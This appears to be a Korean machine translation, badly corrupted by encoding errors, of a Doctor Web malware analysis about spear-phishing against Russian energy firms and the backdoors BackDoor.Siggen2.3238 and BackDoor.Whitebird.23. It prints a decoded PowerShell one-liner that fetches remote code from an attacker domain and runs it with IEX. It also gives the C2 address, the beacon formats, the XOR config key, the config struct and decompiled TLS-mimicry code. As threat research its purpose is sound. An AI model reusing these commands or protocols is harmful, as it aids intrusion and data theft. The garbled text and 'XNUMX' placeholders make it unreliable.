์ปดํจํฐ ๋ณด์ ์ฌ๊ณ ๋ฅผ ์กฐ์ฌํ ๊ฒฝํ์ ๋ฐ๋ฅด๋ฉด ์ด๋ฉ์ผ์ ๊ณต๊ฒฉ์๊ฐ ์ฒ์์ ๊ณต๊ฒฉ๋ฐ์ ๋คํธ์ํฌ ์ธํ๋ผ์ ์นจํฌํ๊ธฐ ์ํด ์ฌ์ฉํ๋ ๊ฐ์ฅ ์ผ๋ฐ์ ์ธ ์ฑ๋ ์ค ํ๋์
๋๋ค. ์์ฌ์ค๋ฌ์ด(๋๋ ๊ทธ๋ค์ง ์์ฌ์ค๋ฝ์ง ์์) ํธ์ง์ ๋ํ ๋ถ์ฃผ์ํ ํ๋์ ์ถ๊ฐ ๊ฐ์ผ์ ์ง์
์ ์ด ๋ฉ๋๋ค. ์ด๊ฒ์ด ์ฑ๊ณต์ ์ ๋๋ ๋ค๋ฅด์ง๋ง ์ฌ์ด๋ฒ ๋ฒ์ฃ์๋ค์ด ์ฌํ ๊ณตํ์ ๋ฐฉ๋ฒ์ ์ ๊ทน์ ์ผ๋ก ์ฌ์ฉํ๋ ์ด์ ์
๋๋ค.
์ด ๊ฒ์๋ฌผ์์ ์ฐ๋ฆฌ๋ ๋ฌ์์ ์ฐ๋ฃ ๋ฐ ์๋์ง ๋จ์ง์ ์ฌ๋ฌ ๊ธฐ์
์ ๋์์ผ๋ก ํ ์คํธ ์บ ํ์ธ์ ๋ํ ์ต๊ทผ ์กฐ์ฌ์ ๋ํด ์ด์ผ๊ธฐํ๊ณ ์ถ์ต๋๋ค. ๋ชจ๋ ๊ณต๊ฒฉ์ ๊ฐ์ง ์ด๋ฉ์ผ์ ์ฌ์ฉํ์ฌ ๋์ผํ ์๋๋ฆฌ์ค๋ฅผ ๋ฐ๋์ผ๋ฉฐ, ๋๊ตฌ๋ ์ด๋ฌํ ์ด๋ฉ์ผ์ ํ
์คํธ ๋ด์ฉ์ ๋ง์ ๋
ธ๋ ฅ์ ๊ธฐ์ธ์ด์ง ์์ ๊ฒ ๊ฐ์ต๋๋ค.
ํํ
๋ชจ๋ ๊ฒ์ 2020๋ XNUMX์ ๋ง์ ์์๋์์ต๋๋ค. Doctor Web ๋ฐ์ด๋ฌ์ค ๋ถ์๊ฐ๋ ํด์ปค๊ฐ ๋ฌ์์ ์ฐ๋ฃ ๋ฐ ์๋์ง ๋จ์ง์ ์๋ ์ฌ๋ฌ ๊ธฐ์ ์ ์ง์์๊ฒ ์ ๋ฐ์ดํธ๋ ์ ํ๋ฒํธ๋ถ๋ฅผ ๋ณด๋ด๋ ์คํธ ์บ ํ์ธ์ ๋ฐ๊ฒฌํ์ต๋๋ค. ๋ฌผ๋ก ์ด๊ฒ์ ๋๋ ํ ๋ฆฌ๊ฐ ์ค์ ๊ฐ ์๋๊ณ .docx ๋ฌธ์๊ฐ ์๊ฒฉ ๋ฆฌ์์ค์์ ๋ ๊ฐ์ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๊ธฐ ๋๋ฌธ์ ๋จ์ํ ์ฐ๋ ค ํ์๋ ์๋๋๋ค.
๊ทธ ์ค ํ๋๋ news[.]zannews[.]com ์๋ฒ์์ ์ฌ์ฉ์์ ์ปดํจํฐ๋ก ๋ค์ด๋ก๋๋์์ต๋๋ค. ์ฃผ๋ชฉํ ์ ์ ๋๋ฉ์ธ ์ด๋ฆ์ด ์นด์ํ์คํ์ ๋ฐ๋ถํจ ๋ฏธ๋์ด ์ผํฐ์ธ zannews[.]kz์ ๋๋ฉ์ธ๊ณผ ์ ์ฌํ๋ค๋ ์ ์ ๋๋ค. ๋ฐ๋ฉด์ ์ฌ์ฉ๋ ๋๋ฉ์ธ์ ICEFOG ๋ฐฑ๋์ด๋ฅผ ์ฌ์ฉํ๊ณ ์ด๋ฆ์ ํ์ ๋ฌธ์์ด "news"๊ฐ ํฌํจ๋ ํธ๋ก์ด ๋ชฉ๋ง ์ ์ด ๋๋ฉ์ธ์ด ์์๋ TOPNEWS๋ผ๋ ๋ ๋ค๋ฅธ 2015๋ ์บ ํ์ธ์ ์ฆ์ ์ฐ์์์ผฐ์ต๋๋ค. ๋ ๋ค๋ฅธ ํฅ๋ฏธ๋ก์ด ๊ธฐ๋ฅ์ ์ด๋ฉ์ผ์ ๋ค๋ฅธ ์์ ์์๊ฒ ๋ณด๋ผ ๋ ์ด๋ฏธ์ง ๋ค์ด๋ก๋ ์์ฒญ์ด ๋ค๋ฅธ ์์ฒญ ๋งค๊ฐ๋ณ์๋ ๊ณ ์ ํ ์ด๋ฏธ์ง ์ด๋ฆ์ ์ฌ์ฉํ๋ค๋ ๊ฒ์ ๋๋ค.
์ฐ๋ฆฌ๋ ์ด๊ฒ์ด "์ ๋ขฐํ ์ ์๋" ์์ทจ์ธ์ ์๋ณํ๊ธฐ ์ํ ์ ๋ณด๋ฅผ ์์งํ๊ธฐ ์ํ ๋ชฉ์ ์ผ๋ก ์ด๋ฃจ์ด์ก๋ค๊ณ ๋ฏฟ์ต๋๋ค. ๊ทธ๋ฌ๋ฉด ๊ทธ ์์ทจ์ธ์ ์ ์์ ํธ์ง๋ฅผ ๊ฐ๋ดํ ์ ์์ ๊ฒ์ ๋๋ค. SMB ํ๋กํ ์ฝ์ ๋ ๋ฒ์งธ ์๋ฒ์์ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๋ ๋ฐ ์ฌ์ฉ๋์์ผ๋ฉฐ, ์ด๋ ์์ ๋ ๋ฌธ์๋ฅผ ์ฐ ์ง์์ ์ปดํจํฐ์์ NetNTLM ํด์๋ฅผ ์์งํ๊ธฐ ์ํด ์ํ๋ ์ ์์ต๋๋ค.
๊ทธ๋ฆฌ๊ณ ๊ฐ์ง ๋๋ ํ ๋ฆฌ๊ฐ ํฌํจ๋ ํธ์ง ์์ฒด๋ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
์ฌํด 2019์๋ถํฐ ํด์ปค๋ค์ sports[.]manhajnews[.]com์ด๋ผ๋ ์๋ก์ด ๋๋ฉ์ธ ์ด๋ฆ์ ์ฌ์ฉํ์ฌ ์ด๋ฏธ์ง๋ฅผ ์
๋ก๋ํ๊ธฐ ์์ํ์ต๋๋ค. ๋ถ์ ๊ฒฐ๊ณผ, manhajnews[.]com ํ์ ๋๋ฉ์ธ์ ์ ์ด๋ XNUMX๋
XNUMX์๋ถํฐ ์คํธ ๋ฉ์ผ๋ง์ ์ฌ์ฉ๋ ๊ฒ์ผ๋ก ๋ํ๋ฌ์ต๋๋ค. ์ด ์บ ํ์ธ์ ๋ชฉํ ์ค ํ๋๋ ๋ฌ์์์ ๋๊ท๋ชจ ๋ํ์ด์์ต๋๋ค.
๋ํ XNUMX์๊น์ง ๊ณต๊ฒฉ ์กฐ์ง์๋ค์ ํธ์ง์ ๋ํ ์๋ก์ด ํ ์คํธ๋ฅผ ์์ฑํ์ต๋๋ค. ์ด๋ฒ์๋ ๋ฌธ์์ ์ฐ์ ๋ฐ์ ์ ๋ํ ์ ๋ณด๊ฐ ํฌํจ๋์ด ์์์ต๋๋ค. ํธ์ง์ ๋ด์ฉ์ ๊ทธ ์ ์๊ฐ ๋ฌ์์์ด๋ฅผ ๋ชจ๊ตญ์ด๋ก ์ฌ์ฉํ๋ ์ฌ๋์ด ์๋๊ฑฐ๋ ์๋์ ์ผ๋ก ์์ ์ ๋ํด ๊ทธ๋ฌํ ์ธ์์ ๋ง๋ค๊ณ ์์์ ๋ถ๋ช ํ ๋ํ๋ ๋๋ค. ๋ถํํ๊ฒ๋ ์ฐ์ ๋ฐ์ ์ ๋ํ ์์ด๋์ด๋ ๋ ๊ทธ๋ ๋ฏ ๋จ์ง ํ์ง์ผ ๋ฟ์ด์์ต๋๋ค. ๋ฌธ์๋ ๋ค์ ๋ ๊ฐ์ ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๊ณ ์๋ฒ๋ download[.]inklingpaper[.]com์ผ๋ก ๋ณ๊ฒฝ๋์์ต๋๋ค.
๋ค์ ํ์ ์ XNUMX์์ ์ด์ด์ก์ต๋๋ค. ๊ณต๊ฒฉ์๋ค์ ๋ฐ์ด๋ฌ์ค ๋ฐฑ์ ํ๋ก๊ทธ๋จ์ ์ ์ฑ ๋ฌธ์ ํ์ง๋ฅผ ์ฐํํ๊ธฐ ์ํด ๋น๋ฐ๋ฒํธ๋ก ์ํธํ๋ Microsoft Word ๋ฌธ์๋ฅผ ์ฌ์ฉํ๊ธฐ ์์ํ์ต๋๋ค. ๋์์ ๊ณต๊ฒฉ์๋ ๊ณ ์ ์ ์ธ ์ฌํ ๊ณตํ ๊ธฐ์ ์ธ ๋ณด์ ์๋ฆผ์ ์ฌ์ฉํ๊ธฐ๋ก ๊ฒฐ์ ํ์ต๋๋ค.
ํญ์๋ฌธ์ ๋ค์ ๊ฐ์ ์คํ์ผ๋ก ์์ฑ๋์ด ์์ทจ์ธ ์ฌ์ด์ ์ถ๊ฐ์ ์ธ ์ํน์ ๋ถ๋ฌ ์ผ์ผ์ผฐ์ต๋๋ค. ์ด๋ฏธ์ง๋ฅผ ๋ค์ด๋ก๋ํ๋ ์๋ฒ๋ ๋ณ๊ฒฝ๋์ง ์์์ต๋๋ค.
๋ชจ๋ ๊ฒฝ์ฐ์ mail[.]ru ๋ฐ yandex[.]ru ๋๋ฉ์ธ์ ๋ฑ๋ก๋ ์ ์ ์ฐํธํจ์ ์ฌ์ฉํ์ฌ ํธ์ง๋ฅผ ๋ณด๋์ต๋๋ค.
๊ณต๊ฒฉ
2020๋ XNUMX์ ์ด, ์ด์ ์กฐ์น๋ฅผ ์ทจํ ์๊ฐ์ด ๋์์ต๋๋ค. ์ฐ๋ฆฌ์ ๋ฐ์ด๋ฌ์ค ๋ถ์๊ฐ๋ค์ ๊ณต๊ฒฉ์๋ค์ด ์ ํ๋ฒํธ๋ถ๋ฅผ ์ ๋ฐ์ดํธํ๋ค๋ ๊ตฌ์ค๋ก ๋ค์ ํธ์ง๋ฅผ ๋ณด๋ด๋ ์๋ก์ด ๊ณต๊ฒฉ์ ๋ฌผ๊ฒฐ์ ๊ธฐ๋กํ์ต๋๋ค. ๊ทธ๋ฌ๋ ์ด๋ฒ์๋ ์ฒจ๋ถ ํ์ผ์ ์ ์ฑ ๋งคํฌ๋ก๊ฐ ํฌํจ๋์ด ์์์ต๋๋ค.
์ฒจ๋ถ๋ ๋ฌธ์๋ฅผ ์ด ๋ ๋งคํฌ๋ก๋ ๋ ๊ฐ์ ํ์ผ์ ์์ฑํ์ต๋๋ค.
- ๋ฐฐ์น ํ์ผ์ ์คํํ๊ธฐ ์ํ VBS ์คํฌ๋ฆฝํธ %APPDATA%microsoftwindows์์ ๋ฉ๋ดprogramsstartupadoba.vbs
- ๋๋ ํ๋ ๋ฐฐ์น ํ์ผ ์์ฒด %APPDATA%configstest.bat.
์์
์ ๋ณธ์ง์ ํน์ ๋งค๊ฐ๋ณ์๋ฅผ ์ฌ์ฉํ์ฌ Powershell ์
ธ์ ์์ํ๋ ๊ฒ์
๋๋ค. ์
ธ์ ์ ๋ฌ๋ ๋งค๊ฐ๋ณ์๋ ๋ช
๋ น์ผ๋ก ๋์ฝ๋ฉ๋ฉ๋๋ค.
$o = [activator]::CreateInstance([type]::GetTypeFromCLSID("F5078F35-C551-11D3-89B9-0000F81FE221"));$o.Open("GET", "http://newsinfo.newss.nl/nissenlist/johnlists.html", $False);$o.Send(); IEX $o.responseText;
์ ์๋ ๋ช
๋ น์ ๋ฐ๋ฅด๋ฉด ํ์ด๋ก๋๊ฐ ๋ค์ด๋ก๋๋๋ ๋๋ฉ์ธ์ด ๋ค์ ๋ด์ค ์ฌ์ดํธ๋ก ์์ฅ๋ฉ๋๋ค. ๊ฐ๋จํ
๋ฐฑ๋์ด.Siggen2.3238
์ฒซ ๋ฒ์งธ๋ ๋ฐฑ๋์ด.Siggen2.3238 โ ์ฐ๋ฆฌ ์ ๋ฌธ๊ฐ๋ค์ ์ด์ ์ ์ ํ ์ ์ด ์์๊ณ ๋ค๋ฅธ ๋ฐ์ด๋ฌ์ค ๋ฐฑ์ ๊ณต๊ธ์ ์ฒด์์๋ ์ด ํ๋ก๊ทธ๋จ์ ๋ํด ์ธ๊ธํ์ง ์์์ต๋๋ค.
์ด ํ๋ก๊ทธ๋จ์ C++๋ก ์์ฑ๋์์ผ๋ฉฐ 32๋นํธ Windows ์ด์ ์ฒด์ ์์ ์คํ๋๋ ๋ฐฑ๋์ด์ ๋๋ค.
๋ฐฑ๋์ด.Siggen2.3238 HTTP์ HTTPS๋ผ๋ ๋ ๊ฐ์ง ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ๊ด๋ฆฌ ์๋ฒ์ ํต์ ํ ์ ์์ต๋๋ค. ํ ์คํธ๋ ์ํ์ HTTPS ํ๋กํ ์ฝ์ ์ฌ์ฉํฉ๋๋ค. ๋ค์ ์ฌ์ฉ์ ์์ด์ ํธ๋ ์๋ฒ์ ๋ํ ์์ฒญ์ ์ฌ์ฉ๋ฉ๋๋ค.
Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SE)
์ด ๊ฒฝ์ฐ ๋ชจ๋ ์์ฒญ์๋ ๋ค์ ๋งค๊ฐ๋ณ์ ์ธํธ๊ฐ ์ ๊ณต๋ฉ๋๋ค.
%s;type=%s;length=%s;realdata=%send
์ฌ๊ธฐ์ ๊ฐ ์ค %s์(๋) ๋ค์์ผ๋ก ๋์ฒด๋ฉ๋๋ค.
- ๊ฐ์ผ๋ ์ปดํจํฐ์ ID,
- ์ ์ก๋๋ ์์ฒญ ์ ํ,
- ์ค์ ๋ฐ์ดํฐ ํ๋์ ๋ฐ์ดํฐ ๊ธธ์ด,
- ๋ฐ์ดํฐ.
๋ฐฑ๋์ด๋ ๊ฐ์ผ๋ ์์คํ ์ ๋ํ ์ ๋ณด๋ฅผ ์์งํ๋ ๋จ๊ณ์์ ๋ค์๊ณผ ๊ฐ์ ๋ผ์ธ์ ์์ฑํฉ๋๋ค.
lan=%s;cmpname=%s;username=%s;version=%s;
์ฌ๊ธฐ์ lan์ ๊ฐ์ผ๋ ์ปดํจํฐ์ IP ์ฃผ์, cmpname์ ์ปดํจํฐ ์ด๋ฆ, username์ ์ฌ์ฉ์ ์ด๋ฆ, version์ 0.0.4.03 ํ์ ๋๋ค.
sysinfo ์๋ณ์๊ฐ ํฌํจ๋ ์ด ์ ๋ณด๋ POST ์์ฒญ์ ํตํด https[:]//31.214[.]157.14/log.txt์ ์๋ ์ ์ด ์๋ฒ๋ก ์ ์ก๋ฉ๋๋ค. ์๋ตํ๋ ๊ฒฝ์ฐ ๋ฐฑ๋์ด.Siggen2.3238 HEART ์ ํธ๋ฅผ ์์ ํ๋ฉด ์ฐ๊ฒฐ์ด ์ฑ๊ณตํ ๊ฒ์ผ๋ก ๊ฐ์ฃผ๋๋ฉฐ ๋ฐฑ๋์ด๋ ์๋ฒ์์ ์ฃผ์ ํต์ ์ฃผ๊ธฐ๋ฅผ ์์ํฉ๋๋ค.
์๋ ์๋ฆฌ์ ๋ํ ๋ ์์ธํ ์ค๋ช
๋ฐฑ๋์ด.Siggen2.3238 ์ฐ๋ฆฌ์
๋ฐฑ๋์ด.ํ์ดํธ๋ฒ๋.23
๋ ๋ฒ์งธ ํ๋ก๊ทธ๋จ์ ์นด์ํ์คํ ์ ๋ถ ๊ธฐ๊ด ์ฌ๊ฑด์ ํตํด ์ด๋ฏธ ์๋ ค์ง BackDoor.Whitebird ๋ฐฑ๋์ด์ ๋ณํ์ ๋๋ค. ์ด ๋ฒ์ ์ C++๋ก ์์ฑ๋์์ผ๋ฉฐ 32๋นํธ ๋ฐ 64๋นํธ Windows ์ด์ ์ฒด์ ์์ ๋ชจ๋ ์คํ๋๋๋ก ์ค๊ณ๋์์ต๋๋ค.
์ด ์ ํ์ ๋๋ถ๋ถ์ ํ๋ก๊ทธ๋จ๊ณผ ๋ง์ฐฌ๊ฐ์ง๋ก ๋ฐฑ๋์ด.ํ์ดํธ๋ฒ๋.23 ์ ์ด ์๋ฒ์ ์ํธํ๋ ์ฐ๊ฒฐ์ ์ค์ ํ๊ณ ๊ฐ์ผ๋ ์ปดํจํฐ๋ฅผ ๋ฌด๋จ์ผ๋ก ์ ์ดํ๋๋ก ์ค๊ณ๋์์ต๋๋ค. ๋๋กํผ๋ฅผ ์ฌ์ฉํ์ฌ ์์๋ ์์คํ
์ ์ค์น๋จ
์ฐ๋ฆฌ๊ฐ ์กฐ์ฌํ ์ํ์ ๋ ๊ฐ์ง ๋ด๋ณด๋ด๊ธฐ๊ฐ ํฌํจ๋ ์ ์ฑ ๋ผ์ด๋ธ๋ฌ๋ฆฌ์์ต๋๋ค.
- ๊ตฌ๊ธ ํ๋ ์ด
- ํ ์คํธํฉ๋๋ค.
์์ ์์ ์ ๋ฐ์ดํธ 0x99์ XOR ์ฐ์ฐ ๊ธฐ๋ฐ ์๊ณ ๋ฆฌ์ฆ์ ์ฌ์ฉํ์ฌ ๋ฐฑ๋์ด ๋ณธ๋ฌธ์ ๋ด์ฅ๋ ๊ตฌ์ฑ์ ํด๋ ํฉ๋๋ค. ๊ตฌ์ฑ์ ๋ค์๊ณผ ๊ฐ์ต๋๋ค.
struct st_cfg
{
_DWORD dword0;
wchar_t campaign[64];
wchar_t cnc_addr[256];
_DWORD cnc_port;
wchar_t cnc_addr2[100];
wchar_t cnc_addr3[100];
_BYTE working_hours[1440];
wchar_t proxy_domain[50];
_DWORD proxy_port;
_DWORD proxy_type;
_DWORD use_proxy;
_BYTE proxy_login[50];
_BYTE proxy_password[50];
_BYTE gapa8c[256];
};
์ง์์ ์ธ ์๋์ ๋ณด์ฅํ๊ธฐ ์ํด ๋ฐฑ๋์ด๋ ํ๋์ ์ง์ ๋ ๊ฐ์ ๋ณ๊ฒฝํฉ๋๋ค. ๊ทผ๋ฌด ์๊ฐ ๊ตฌ์ฑ. ํ๋์๋ 1440๋ฐ์ดํธ๊ฐ ํฌํจ๋๋ฉฐ, ์ด๋ 0 ๋๋ 1์ ๊ฐ์ ๊ฐ์ง๋ฉฐ ํ๋ฃจ ์ค ๊ฐ ์๊ฐ์ ๋ถ์ ๋ํ๋ ๋๋ค. ์ธํฐํ์ด์ค๋ฅผ ์์ ํ๊ณ ๊ฐ์ผ๋ ์ปดํจํฐ์ ํ๋ก์ ์๋ฒ์์ ์ธ์ฆ ํจํท์ ์ฐพ๋ ๊ฐ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์ ๋ํด ๋ณ๋์ ์ค๋ ๋๋ฅผ ์์ฑํฉ๋๋ค. ์ด๋ฌํ ํจํท์ด ํ์ง๋๋ฉด ๋ฐฑ๋์ด๋ ํ๋ก์ ์๋ฒ์ ๋ํ ์ ๋ณด๋ฅผ ๋ชฉ๋ก์ ์ถ๊ฐํฉ๋๋ค. ๋ํ WinAPI๋ฅผ ํตํด ํ๋ก์ ์กด์ฌ ์ฌ๋ถ๋ฅผ ํ์ธํฉ๋๋ค. InternetQueryOptionW.
ํ๋ก๊ทธ๋จ์ ํ์ฌ ๋ถ๊ณผ ์๊ฐ์ ํ์ธํ๊ณ ์ด๋ฅผ ํ๋์ ๋ฐ์ดํฐ์ ๋น๊ตํฉ๋๋ค. ๊ทผ๋ฌด ์๊ฐ ๊ตฌ์ฑ. ํด๋น ์ผ์์ ๋ถ ๊ฐ์ด XNUMX์ด ์๋ ๊ฒฝ์ฐ ์ ์ด ์๋ฒ์์ ์ฐ๊ฒฐ์ด ์ค์ ๋ฉ๋๋ค.
์๋ฒ์ ๋ํ ์ฐ๊ฒฐ ์ค์ ์ ํด๋ผ์ด์ธํธ์ ์๋ฒ ๊ฐ์ TLS ๋ฒ์ 1.0 ํ๋กํ ์ฝ์ ์ฌ์ฉํ์ฌ ์ฐ๊ฒฐ ์์ฑ์ ์๋ฎฌ๋ ์ด์ ํฉ๋๋ค. ๋ฐฑ๋์ด์ ๋ณธ๋ฌธ์๋ ๋ ๊ฐ์ ๋ฒํผ๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
์ฒซ ๋ฒ์งธ ๋ฒํผ์๋ TLS 1.0 ํด๋ผ์ด์ธํธ Hello ํจํท์ด ํฌํจ๋์ด ์์ต๋๋ค.
๋ ๋ฒ์งธ ๋ฒํผ์๋ ํค ๊ธธ์ด๊ฐ 1.0x0๋ฐ์ดํธ์ธ TLS 100 ํด๋ผ์ด์ธํธ ํค ๊ตํ ํจํท, ์ํธ ์ฌ์ ๋ณ๊ฒฝ, ์ํธํ๋ ํธ๋์
ฐ์ดํฌ ๋ฉ์์ง๊ฐ ํฌํจ๋์ด ์์ต๋๋ค.
๋ฐฑ๋์ด๋ ํด๋ผ์ด์ธํธ Hello ํจํท์ ๋ณด๋ผ ๋ ํด๋ผ์ด์ธํธ ๋ฌด์์ ํ๋์ ํ์ฌ ์๊ฐ 4๋ฐ์ดํธ์ ์์ฌ ๋ฌด์์ ๋ฐ์ดํฐ 28๋ฐ์ดํธ๋ฅผ ๊ธฐ๋กํ๋ฉฐ ๋ค์๊ณผ ๊ฐ์ด ๊ณ์ฐ๋ฉ๋๋ค.
v3 = time(0);
t = (v3 >> 8 >> 16) + ((((((unsigned __int8)v3 << 8) + BYTE1(v3)) << 8) + BYTE2(v3)) << 8);
for ( i = 0; i < 28; i += 4 )
*(_DWORD *)&clientrnd[i] = t + *(_DWORD *)&cnc_addr[i / 4];
for ( j = 0; j < 28; ++j )
clientrnd[j] ^= 7 * (_BYTE)j;
์์ ๋ ํจํท์ ์ ์ด ์๋ฒ๋ก ์ ์ก๋ฉ๋๋ค. ์๋ต(Server Hello ํจํท)์ ๋ค์์ ํ์ธํฉ๋๋ค.
- TLS ํ๋กํ ์ฝ ๋ฒ์ 1.0 ์ค์;
- ํด๋ผ์ด์ธํธ๊ฐ ์ง์ ํ ํ์์คํฌํ(๋๋ค ๋ฐ์ดํฐ ํจํท ํ๋์ ์ฒ์ 4๋ฐ์ดํธ)์ ์๋ฒ๊ฐ ์ง์ ํ ํ์์คํฌํ์ ๋์;
- ํด๋ผ์ด์ธํธ์ ์๋ฒ์ Random Data ํ๋์ ์๋ ํ์์คํฌํ ๋ค์ ์ฒ์ 4๋ฐ์ดํธ๊ฐ ์ผ์นํฉ๋๋ค.
์ง์ ๋ ์ผ์น ํญ๋ชฉ์ด ์๋ ๊ฒฝ์ฐ ๋ฐฑ๋์ด๋ ํด๋ผ์ด์ธํธ ํค ๊ตํ ํจํท์ ์ค๋นํฉ๋๋ค. ์ด๋ฅผ ์ํด ํด๋ผ์ด์ธํธ ํค ๊ตํ ํจํค์ง์ ๊ณต๊ฐ ํค์ ์ํธํ๋ ํธ๋์ ฐ์ดํฌ ๋ฉ์์ง ํจํค์ง์ ์ํธํ IV ๋ฐ ์ํธํ ๋ฐ์ดํฐ๋ฅผ ์์ ํฉ๋๋ค.
๊ทธ๋ฐ ๋ค์ ๋ฐฑ๋์ด๋ ๋ช ๋ น ๋ฐ ์ ์ด ์๋ฒ๋ก๋ถํฐ ํจํท์ ์์ ํ๊ณ TLS ํ๋กํ ์ฝ ๋ฒ์ ์ด 1.0์ธ์ง ํ์ธํ ๋ค์ ์ถ๊ฐ 54๋ฐ์ดํธ(ํจํท ๋ณธ๋ฌธ)๋ฅผ ํ์ฉํฉ๋๋ค. ์ด๊ฒ์ผ๋ก ์ฐ๊ฒฐ ์ค์ ์ด ์๋ฃ๋ฉ๋๋ค.
์๋ ์๋ฆฌ์ ๋ํ ๋ ์์ธํ ์ค๋ช
๋ฐฑ๋์ด.ํ์ดํธ๋ฒ๋.23 ์ฐ๋ฆฌ์
๊ฒฐ๋ก ๋ฐ ๊ฒฐ๋ก
๋ฌธ์, ์ ์ฑ์ฝ๋, ์ฌ์ฉ๋ ์ธํ๋ผ ๋ถ์์ ํตํด ์ฐ๋ฆฌ๋ ํด๋น ๊ณต๊ฒฉ์ด ์ค๊ตญ APT ๊ทธ๋ฃน ์ค ํ๋์ ์ํด ์ค๋น๋์์์ ํ์ ํ ์ ์์ต๋๋ค. ๊ณต๊ฒฉ์ด ์ฑ๊ณตํ ๊ฒฝ์ฐ ํผํด์์ ์ปดํจํฐ์ ์ค์น๋๋ ๋ฐฑ๋์ด์ ๊ธฐ๋ฅ์ ๊ณ ๋ คํ ๋, ๊ฐ์ผ์ ์ต์ํ ๊ณต๊ฒฉ๋ฐ์ ์กฐ์ง์ ์ปดํจํฐ์์ ๊ธฐ๋ฐ ์ ๋ณด๋ฅผ ํ์น๋ ๊ฒ์ผ๋ก ์ด์ด์ง๋๋ค.
๋ํ ํน์ ๊ธฐ๋ฅ์ ๊ฐ์ถ ๋ก์ปฌ ์๋ฒ์ ํน์ ํธ๋ก์ด ๋ชฉ๋ง๋ฅผ ์ค์นํ๋ ๊ฒฝ์ฐ๊ฐ ๋ฐ์ํ ๊ฐ๋ฅ์ฑ์ด ๋งค์ฐ ๋์ต๋๋ค. ์ด๋ ๋๋ฉ์ธ ์ปจํธ๋กค๋ฌ, ๋ฉ์ผ ์๋ฒ, ์ธํฐ๋ท ๊ฒ์ดํธ์จ์ด ๋ฑ์ด ๋ ์ ์์ต๋๋ค. ์์ ์์ ๋ณผ ์ ์๋ฏ์ด
์ถ์ฒ : habr.com